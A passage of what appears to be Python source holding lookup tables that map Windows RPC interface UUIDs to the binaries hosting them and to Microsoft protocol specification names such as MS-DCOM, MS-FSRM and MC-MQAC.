"\x94\x8c\x95\x95\x24\xa4\x55\x40\xb6\x2b\xb7\xf4\xd5\xc4\x77\x70\x01\x00": "winlogon.exe",
"\xe3\x31\x67\x32\xc0\xc1\x69\x4a\xae\x20\x7d\x90\x44\xa4\xea\x5c\x01\x00": "profsvc.dll",
"\x18\x5a\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x38\x00": "ntdsai.dll",
"\x0f\x6a\xe9\x4b\x52\x9f\x29\x47\xa5\x1d\xc7\x06\x10\xf1\x18\xb0\x01\x00": "wbiosrvc.dll",
"\x80\x42\xad\x82\x6b\x03\xcf\x11\x97\x2c\x00\xaa\x00\x68\x87\xb0\x02\x00": "infocomm.dll",
"\x87\x04\x26\x1f\x29\xba\x13\x4f\x92\x8a\xbb\xd2\x97\x61\xb0\x83\x01\x00": "termsrv.dll",
"\x70\x07\xf7\x18\x64\x8e\xcf\x11\x9a\xf1\x00\x20\xaf\x6e\x72\xf4\x00\x00": "ole32.dll",
"\xc0\xeb\x4f\xfa\x91\x45\xce\x11\x95\xe5\x00\xaa\x00\x51\xe5\x10\x04\x00": "autmgr32.exe",
"\x10\xca\x8c\x70\x69\x95\xd1\x11\xb2\xa5\x00\x60\x97\x7d\x81\x18\x01\x00": "mqdssrv.dll",
"\x28\x2c\xf5\x45\x9f\x7f\x1a\x10\xb5\x2b\x08\x00\x2b\x2e\xfa\xbe\x01\x00": "WINS.EXE",
"\x31\xa3\x59\x2f\x7d\xbf\xcb\x48\x9e\x5c\x7c\x09\x0d\x76\xe8\xb8\x01\x00": "termsrv.dll",
"\x61\x26\x45\x4a\x90\x82\x36\x4b\x8f\xbe\x7f\x40\x93\xa9\x49\x78\x01\x00": "spoolsv.exe",
}
KNOWN_PROTOCOLS = {
'52C80B95-C1AD-4240-8D89-72E9FA84025E':'[MC-CCFG]: Server Cluster:',
'FA7660F6-7B3F-4237-A8BF-ED0AD0DCBBD9':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'450386DB-7409-4667-935E-384DBBEE2A9E':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'832A32F7-B3EA-4B8C-B260-9A2923001184':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'2D9915FB-9D42-4328-B782-1B46819FAB9E':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'0DD8A158-EBE6-4008-A1D9-B7ECC8F1104B':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'0716CAF8-7D05-4A46-8099-77594BE91394':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'B80F3C42-60E0-4AE0-9007-F52852D3DBED':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'0344CDDA-151E-4CBF-82DA-66AE61E97754':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'8BED2C68-A5FB-4B28-8581-A0DC5267419F':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'7883CA1C-1112-4447-84C3-52FBEB38069D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'09829352-87C2-418D-8D79-4133969A489D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'5B5A68E6-8B9F-45E1-8199-A95FFCCDFFFF':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'9BE77978-73ED-4A9A-87FD-13F09FEC1B13':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'ED35F7A1-5024-4E7B-A44D-07DDAF4B524D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'4DFA1DF3-8900-4BC7-BBB5-D1A458C52410':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'370AF178-7758-4DAD-8146-7391F6E18585':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'C8550BFF-5281-4B1E-AC34-99B6FA38464D':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'08A90F5F-0702-48D6-B45F-02A9885A9768':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'8F6D760F-F0CB-4D69-B5F6-848B33E9BDC6':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'E7927575-5CC3-403B-822E-328A6B904BEE':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'DE095DB1-5368-4D11-81F6-EFEF619B7BCF':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'64FF8CCC-B287-4DAE-B08A-A72CBF45F453':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'EAFE4895-A929-41EA-B14D-613E23F62B71':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'EF13D885-642C-4709-99EC-B89561C6BC69':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'0191775E-BCFF-445A-B4F4-3BDDA54E2816':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'31A83EA0-C0E4-4A2C-8A01-353CC2A4C60A':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'D6C7CD8F-BB8D-4F96-B591-D3A5F1320269':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'ADA4E6FB-E025-401E-A5D0-C3134A281F07':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'B7D381EE-8860-47A1-8AF4-1F33B2B1F325':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'C5C04795-321C-4014-8FD6-D44658799393':'[MC-IISA]: Internet Information Services (IIS) Application Host COM',
'EBA96B22-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'12A30900-7300-11D2-B0E6-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'EBA96B24-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'2CE0C5B0-6E67-11D2-B0E6-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'EBA96B0E-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'B196B285-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):',
'39CE96FE-F4C5-4484-A143-4C2D5D324229':'[MC-MQAC]: Message Queuing (MSMQ):',
'D7D6E07F-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
'EBA96B1A-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'EBA96B18-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'EBA96B23-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'EBA96B14-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'FD174A80-89CF-11D2-B0F2-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'F72B9031-2F0C-43E8-924E-E6052CDC493F':'[MC-MQAC]: Message Queuing (MSMQ):',
'D7D6E072-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
'D7D6E075-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
'0188401C-247A-4FED-99C6-BF14119D7055':'[MC-MQAC]: Message Queuing (MSMQ):',
'EBA96B15-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'D7D6E07C-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
'BE5F0241-E489-4957-8CC4-A452FCF3E23E':'[MC-MQAC]: Message Queuing (MSMQ):',
'EBA96B1C-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'D7D6E077-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
'D7D6E078-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
'B196B284-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):',
'D7D6E073-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
'D7D6E07D-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
'EBA96B1B-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'D7D6E079-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
'D7D6E084-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
'EBA96B1F-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'33B6D07E-F27D-42FA-B2D7-BF82E11E9374':'[MC-MQAC]: Message Queuing (MSMQ):',
'D7D6E07A-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
'0188AC2F-ECB3-4173-9779-635CA2039C72':'[MC-MQAC]: Message Queuing (MSMQ):',
'D7D6E085-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
'EF0574E0-06D8-11D3-B100-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'D7D6E086-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
'B196B286-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):',
'D9933BE0-A567-11D2-B0F3-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'D7AB3341-C9D3-11D1-BB47-0080C7C5A2C0':'[MC-MQAC]: Message Queuing (MSMQ):',
'D7D6E082-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
'0FB15084-AF41-11CE-BD2B-204C4F4F5020':'[MC-MQAC]: Message Queuing (MSMQ):',
'D7D6E083-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
'EBA96B13-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'EBA96B1D-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'EBA96B17-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'EBA96B20-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'D7D6E074-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
'7FBE7759-5760-444D-B8A5-5E7AB9A84CCE':'[MC-MQAC]: Message Queuing (MSMQ):',
'B196B287-BAB4-101A-B69C-00AA00341D07':'[MC-MQAC]: Message Queuing (MSMQ):',
'EBA96B12-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'EBA96B1E-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'D7D6E07E-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
'D7D6E081-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
'D7D6E07B-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
'64C478FB-F9B0-4695-8A7F-439AC94326D3':'[MC-MQAC]: Message Queuing (MSMQ):',
'EBA96B16-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'EBA96B19-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'EBA96B10-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'EBA96B21-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'D7D6E076-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
'EBA96B0F-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'EBA96B11-2168-11D3-898C-00E02C074F6B':'[MC-MQAC]: Message Queuing (MSMQ):',
'D7D6E080-DCCD-11D0-AA4B-0060970DEBAE':'[MC-MQAC]: Message Queuing (MSMQ):',
'4639DB2A-BFC5-11D2-9318-00C04FBBBFB3':'[MS-ADTG]: Remote Data Services (RDS) Transport Protocol',
'0EAC4842-8763-11CF-A743-00AA00A3F00D':'[MS-ADTG]: Remote Data Services (RDS) Transport Protocol',
'070669EB-B52F-11D1-9270-00C04FBBBFB3':'[MS-ADTG]: Remote Data Services (RDS) Transport Protocol',
'3DDE7C30-165D-11D1-AB8F-00805F14DB40':'[MS-BKRP]: BackupKey Remote Protocol',
'E3D0D746-D2AF-40FD-8A7A-0D7078BB7092':'[MS-BPAU]: Background Intelligent Transfer Service (BITS) Peer-',
'6BFFD098-A112-3610-9833-012892020162':'[MS-BRWSA]: Common Internet File System (CIFS) Browser Auxiliary',
'AFC07E2E-311C-4435-808C-C483FFEEC7C9':'[MS-CAPR]: Central Access Policy Identifier (ID) Retrieval Protocol',
'B97DB8B2-4C63-11CF-BFF6-08002BE23F2F':'[MS-CMRP]: Failover Cluster:',
'97199110-DB2E-11D1-A251-0000F805CA53':'[MS-COM]: Component Object Model Plus (COM+) Protocol',
'0E3D6630-B46B-11D1-9D2D-006008B0E5CA':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
'3F3B1B86-DBBE-11D1-9DA6-00805F85CFE3':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
'7F43B400-1A0E-4D57-BBC9-6B0C65F7A889':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
'456129E2-1078-11D2-B0F9-00805FC73204':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
'8DB2180E-BD29-11D1-8B7E-00C04FD7A924':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
'182C40FA-32E4-11D0-818B-00A0C9231C29':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
'971668DC-C3FE-4EA1-9643-0C7230F494A1':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
'98315903-7BE5-11D2-ADC1-00A02463D6E7':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
'6C935649-30A6-4211-8687-C4C83E5FE1C7':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
'F131EA3E-B7BE-480E-A60D-51CB2785779E':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
'1F7B1697-ECB2-4CBB-8A0E-75C427F4A6F0':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
'A8927A41-D3CE-11D1-8472-006008B0E5CA':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
'CFADAC84-E12C-11D1-B34C-00C04F990D54':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
'1D118904-94B3-4A64-9FA6-ED432666A7B9':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
'47CDE9A1-0BF6-11D2-8016-00C04FB9988E':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
'0E3D6631-B46B-11D1-9D2D-006008B0E5CA':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
'C2BE6970-DF9E-11D1-8B87-00C04FD7A924':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
'C726744E-5735-4F08-8286-C510EE638FB6':'[MS-COMA]: Component Object Model Plus (COM+) Remote',
'FBC1D17D-C498-43A0-81AF-423DDD530AF6':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',
'F89AC270-D4EB-11D1-B682-00805FC79216':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',
'FB2B72A1-7A68-11D1-88F9-0080C7D771BF':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',
'4E14FB9F-2E22-11D1-9964-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',
'A0E8F27A-888C-11D1-B763-00C04FB926AF':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',
'7FB7EA43-2D76-4EA8-8CD9-3DECC270295E':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',
'99CC098F-A48A-4E9C-8E58-965C0AFC19D5':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',
'FB2B72A0-7A68-11D1-88F9-0080C7D771BF':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',
'4A6B0E16-2E38-11D1-9965-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',
'F4A07D63-2E25-11D1-9964-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',
'4A6B0E15-2E38-11D1-9965-00C04FBBB345':'[MS-COMEV]: Component Object Model Plus (COM+) Event System',
'B60040E0-BCF3-11D1-861D-0080C729264D':'[MS-COMT]: Component Object Model Plus (COM+) Tracker Service',
'23C9DD26-2355-4FE2-84DE-F779A238ADBD':'[MS-COMT]: Component Object Model Plus (COM+) Tracker Service',
'4E6CDCC9-FB25-4FD5-9CC5-C9F4B6559CEC':'[MS-COMT]: Component Object Model Plus (COM+) Tracker Service',
'D99E6E71-FC88-11D0-B498-00A0C90312F3':'[MS-CSRA]: Certificate Services Remote Administration Protocol',
'7FE0D935-DDA6-443F-85D0-1CFB58FE41DD':'[MS-CSRA]: Certificate Services Remote Administration Protocol',
'E1568352-586D-43E4-933F-8E6DC4DE317A':'[MS-CSVP]: Failover Cluster:',
'11942D87-A1DE-4E7F-83FB-A840D9C5928D':'[MS-CSVP]: Failover Cluster:',
'491260B5-05C9-40D9-B7F2-1F7BDAE0927F':'[MS-CSVP]: Failover Cluster:',
'C72B09DB-4D53-4F41-8DCC-2D752AB56F7C':'[MS-CSVP]: Failover Cluster:',
'E3C9B851-C442-432B-8FC6-A7FAAFC09D3B':'[MS-CSVP]: Failover Cluster:',
'4142DD5D-3472-4370-8641-DE7856431FB0':'[MS-CSVP]: Failover Cluster:',
'D6105110-8917-41A5-AA32-8E0AA2933DC9':'[MS-CSVP]: Failover Cluster:',
'A6D3E32B-9814-4409-8DE3-CFA673E6D3DE':'[MS-CSVP]: Failover Cluster:',
'04D55210-B6AC-4248-9E69-2A569D1D2AB6':'[MS-CSVP]: Failover Cluster:',
'2931C32C-F731-4C56-9FEB-3D5F1C5E72BF':'[MS-CSVP]: Failover Cluster:',
'12108A88-6858-4467-B92F-E6CF4568DFB6':'[MS-CSVP]: Failover Cluster:',
'85923CA7-1B6B-4E83-A2E4-F5BA3BFBB8A3':'[MS-CSVP]: Failover Cluster:',
'F1D6C29C-8FBE-4691-8724-F6D8DEAEAFC8':'[MS-CSVP]: Failover Cluster:',
'3CFEE98C-FB4B-44C6-BD98-A1DB14ABCA3F':'[MS-CSVP]: Failover Cluster:',
'88E7AC6D-C561-4F03-9A60-39DD768F867D':'[MS-CSVP]: Failover Cluster:',
'00000131-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote',
'4D9F4AB8-7D1C-11CF-861E-0020AF6E7C57':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote',
'00000143-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote',
'000001A0-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote',
'99FCFEC4-5260-101B-BBCB-00AA0021347A':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote',
'00000000-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM) Remote',
'4FC742E0-4A10-11CF-8273-00AA004AE673':'[MS-DFSNM]: Distributed File System (DFS):',
'9009D654-250B-4E0D-9AB0-ACB63134F69F':'[MS-DFSRH]: DFS Replication Helper Protocol',
'E65E8028-83E8-491B-9AF7-AAF6BD51A0CE':'[MS-DFSRH]: DFS Replication Helper Protocol',
'D3766938-9FB7-4392-AF2F-2CE8749DBBD0':'[MS-DFSRH]: DFS Replication Helper Protocol',
'4BB8AB1D-9EF9-4100-8EB6-DD4B4E418B72':'[MS-DFSRH]: DFS Replication Helper Protocol',
'CEB5D7B4-3964-4F71-AC17-4BF57A379D87':'[MS-DFSRH]: DFS Replication Helper Protocol',
'7A2323C7-9EBE-494A-A33C-3CC329A18E1D':'[MS-DFSRH]: DFS Replication Helper Protocol',
'20D15747-6C48-4254-A358-65039FD8C63C':'[MS-DFSRH]: DFS Replication Helper Protocol',
'C4B0C7D9-ABE0-4733-A1E1-9FDEDF260C7A':'[MS-DFSRH]: DFS Replication Helper Protocol',
'6BFFD098-A112-3610-9833-46C3F874532D':'[MS-DHCPM]: Microsoft Dynamic Host Configuration Protocol (DHCP)',
'5B821720-F63B-11D0-AAD2-00C04FC324DB':'[MS-DHCPM]: Microsoft Dynamic Host Configuration Protocol (DHCP)',
'4DA1C422-943D-11D1-ACAE-00C04FC2AA3F':'[MS-DLTM]: Distributed Link Tracking:',
'300F3532-38CC-11D0-A3F0-0020AF6B0ADD':'[MS-DLTW]: Distributed Link Tracking:',
'D2D79DF5-3400-11D0-B40B-00AA005FF586':'[MS-DMRP]: Disk Management Remote Protocol',
'DEB01010-3A37-4D26-99DF-E2BB6AE3AC61':'[MS-DMRP]: Disk Management Remote Protocol',
'3A410F21-553F-11D1-8E5E-00A0C92C9D5D':'[MS-DMRP]: Disk Management Remote Protocol',
'D2D79DF7-3400-11D0-B40B-00AA005FF586':'[MS-DMRP]: Disk Management Remote Protocol',
'4BDAFC52-FE6A-11D2-93F8-00105A11164A':'[MS-DMRP]: Disk Management Remote Protocol',
'135698D2-3A37-4D26-99DF-E2BB6AE3AC61':'[MS-DMRP]: Disk Management Remote Protocol',
'50ABC2A4-574D-40B3-9D66-EE4FD5FBA076':'[MS-DNSP]: Domain Name Service (DNS) Server Management',
'7C44D7D4-31D5-424C-BD5E-2B3E1F323D22':'[MS-DRSR]: Directory Replication Service (DRS) Remote Protocol',
'3919286A-B10C-11D0-9BA8-00C04FD92EF5':'[MS-DSSP]: Directory Services Setup Remote Protocol',
'14A8831C-BC82-11D2-8A64-0008C7457E5D':'[MS-EERR]: ExtendedError Remote Data Structure',
'C681D488-D850-11D0-8C52-00C04FD90F7E':'[MS-EFSR]: Encrypting File System Remote (EFSRPC) Protocol',
'82273FDC-E32A-18C3-3F78-827929DC23EA':'[MS-EVEN]: EventLog Remoting Protocol',
'6B5BDD1E-528C-422C-AF8C-A4079BE4FE48':'[MS-FASP]: Firewall and Advanced Security Protocol',
'6099FC12-3EFF-11D0-ABD0-00C04FD91A4E':'[MS-FAX]: Fax Server and Client Remote Protocol',
'EA0A3165-4834-11D2-A6F8-00C04FA346CC':'[MS-FAX]: Fax Server and Client Remote Protocol',
'897E2E5F-93F3-4376-9C9C-FD2277495C27':'[MS-FRS2]: Distributed File System Replication Protocol',
'377F739D-9647-4B8E-97D2-5FFCE6D759CD':'[MS-FSRM]: File Server Resource Manager Protocol',
'F411D4FD-14BE-4260-8C40-03B7C95E608A':'[MS-FSRM]: File Server Resource Manager Protocol',
'4C8F96C3-5D94-4F37-A4F4-F56AB463546F':'[MS-FSRM]: File Server Resource Manager Protocol',
'CFE36CBA-1949-4E74-A14F-F1D580CEAF13':'[MS-FSRM]: File Server Resource Manager Protocol',
'8276702F-2532-4839-89BF-4872609A2EA4':'[MS-FSRM]: File Server Resource Manager Protocol',
'4A73FEE4-4102-4FCC-9FFB-38614F9EE768':'[MS-FSRM]: File Server Resource Manager Protocol',
'F3637E80-5B22-4A2B-A637-BBB642B41CFC':'[MS-FSRM]: File Server Resource Manager Protocol',
'1568A795-3924-4118-B74B-68D8F0FA5DAF':'[MS-FSRM]: File Server Resource Manager Protocol',
'6F4DBFFF-6920-4821-A6C3-B7E94C1FD60C':'[MS-FSRM]: File Server Resource Manager Protocol',
'39322A2D-38EE-4D0D-8095-421A80849A82':'[MS-FSRM]: File Server Resource Manager Protocol',
'326AF66F-2AC0-4F68-BF8C-4759F054FA29':'[MS-FSRM]: File Server Resource Manager Protocol',
'27B899FE-6FFA-4481-A184-D3DAADE8A02B':'[MS-FSRM]: File Server Resource Manager Protocol',
'E1010359-3E5D-4ECD-9FE4-EF48622FDF30':'[MS-FSRM]: File Server Resource Manager Protocol',
'8DD04909-0E34-4D55-AFAA-89E1F1A1BBB9':'[MS-FSRM]: File Server Resource Manager Protocol',
'96DEB3B5-8B91-4A2A-9D93-80A35D8AA847':'[MS-FSRM]: File Server Resource Manager Protocol',
'D8CC81D9-46B8-4FA4-BFA5-4AA9DEC9B638':'[MS-FSRM]: File Server Resource Manager Protocol',
'EDE0150F-E9A3-419C-877C-01FE5D24C5D3':'[MS-FSRM]: File Server Resource Manager Protocol',
'15A81350-497D-4ABA-80E9-D4DBCC5521FE':'[MS-FSRM]: File Server Resource Manager Protocol',
'12937789-E247-4917-9C20-F3EE9C7EE783':'[MS-FSRM]: File Server Resource Manager Protocol',
'F76FBF3B-8DDD-4B42-B05A-CB1C3FF1FEE8':'[MS-FSRM]: File Server Resource Manager Protocol',
'CB0DF960-16F5-4495-9079-3F9360D831DF':'[MS-FSRM]: File Server Resource Manager Protocol',
'4846CB01-D430-494F-ABB4-B1054999FB09':'[MS-FSRM]: File Server Resource Manager Protocol',
'6CD6408A-AE60-463B-9EF1-E117534D69DC':'[MS-FSRM]: File Server Resource Manager Protocol',
'EE321ECB-D95E-48E9-907C-C7685A013235':'[MS-FSRM]: File Server Resource Manager Protocol',
'38E87280-715C-4C7D-A280-EA1651A19FEF':'[MS-FSRM]: File Server Resource Manager Protocol',
'BEE7CE02-DF77-4515-9389-78F01C5AFC1A':'[MS-FSRM]: File Server Resource Manager Protocol',
'9A2BF113-A329-44CC-809A-5C00FCE8DA40':'[MS-FSRM]: File Server Resource Manager Protocol',
'4173AC41-172D-4D52-963C-FDC7E415F717':'[MS-FSRM]: File Server Resource Manager Protocol',
'AD55F10B-5F11-4BE7-94EF-D9EE2E470DED':'[MS-FSRM]: File Server Resource Manager Protocol',
'BB36EA26-6318-4B8C-8592-F72DD602E7A5':'[MS-FSRM]: File Server Resource Manager Protocol',
'FF4FA04E-5A94-4BDA-A3A0-D5B4D3C52EBA':'[MS-FSRM]: File Server Resource Manager Protocol',
'22BCEF93-4A3F-4183-89F9-2F8B8A628AEE':'[MS-FSRM]: File Server Resource Manager Protocol',
'6879CAF9-6617-4484-8719-71C3D8645F94':'[MS-FSRM]: File Server Resource Manager Protocol',
'5F6325D3-CE88-4733-84C1-2D6AEFC5EA07':'[MS-FSRM]: File Server Resource Manager Protocol',
'8BB68C7D-19D8-4FFB-809E-BE4FC1734014':'[MS-FSRM]: File Server Resource Manager Protocol',
'A2EFAB31-295E-46BB-B976-E86D58B52E8B':'[MS-FSRM]: File Server Resource Manager Protocol',
'0770687E-9F36-4D6F-8778-599D188461C9':'[MS-FSRM]: File Server Resource Manager Protocol',
'AFC052C2-5315-45AB-841B-C6DB0E120148':'[MS-FSRM]: File Server Resource Manager Protocol',
'515C1277-2C81-440E-8FCF-367921ED4F59':'[MS-FSRM]: File Server Resource Manager Protocol',
'D2DC89DA-EE91-48A0-85D8-CC72A56F7D04':'[MS-FSRM]: File Server Resource Manager Protocol',
'47782152-D16C-4229-B4E1-0DDFE308B9F6':'[MS-FSRM]: File Server Resource Manager Protocol',
'205BEBF8-DD93-452A-95A6-32B566B35828':'[MS-FSRM]: File Server Resource Manager Protocol',
'1BB617B8-3886-49DC-AF82-A6C90FA35DDA':'[MS-FSRM]: File Server Resource Manager Protocol',
'42DC3511-61D5-48AE-B6DC-59FC00C0A8D6':'[MS-FSRM]: File Server Resource Manager Protocol',
'426677D5-018C-485C-8A51-20B86D00BDC4':'[MS-FSRM]: File Server Resource Manager Protocol',
'E946D148-BD67-4178-8E22-1C44925ED710':'[MS-FSRM]: File Server Resource Manager Protocol',
'D646567D-26AE-4CAA-9F84-4E0AAD207FCA':'[MS-FSRM]: File Server Resource Manager Protocol',
'F82E5729-6ABA-4740-BFC7-C7F58F75FB7B':'[MS-FSRM]: File Server Resource Manager Protocol',
'2DBE63C4-B340-48A0-A5B0-158E07FC567E':'[MS-FSRM]: File Server Resource Manager Protocol',
'A8E0653C-2744-4389-A61D-7373DF8B2292':'[MS-FSRVP]: File Server Remote VSS Protocol',
'B9785960-524F-11DF-8B6D-83DCDED72085':'[MS-GKDI]: Group Key Distribution Protocol',
'91AE6020-9E3C-11CF-8D7C-00AA00C091BE':'[MS-ICPR]: ICertPassage Remote Protocol',
'E8FB8620-588F-11D2-9D61-00C04F79C5FE':'[MS-IISS]: Internet Information Services (IIS) ServiceControl',
'F612954D-3B0B-4C56-9563-227B7BE624B4':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW',
'8298D101-F992-43B7-8ECA-5052D885B995':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW',
'29822AB8-F302-11D0-9953-00C04FD919C1':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW',
'70B51430-B6CA-11D0-B9B9-00A0C922E750':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW',
'29822AB7-F302-11D0-9953-00C04FD919C1':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW',
'BD0C73BC-805B-4043-9C30-9A28D64DD7D2':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW',
'7C4E1804-E342-483D-A43E-A850CFCC8D18':'[MS-IMSA]: Internet Information Services (IIS) IMSAdminBaseW',
'6619A740-8154-43BE-A186-0319578E02DB':'[MS-IOI]: IManagedObject Interface Protocol',
'8165B19E-8D3A-4D0B-80C8-97DE310DB583':'[MS-IOI]: IManagedObject Interface Protocol',
'C3FCC19E-A970-11D2-8B5A-00A0C9B7C9C4':'[MS-IOI]: IManagedObject Interface Protocol',
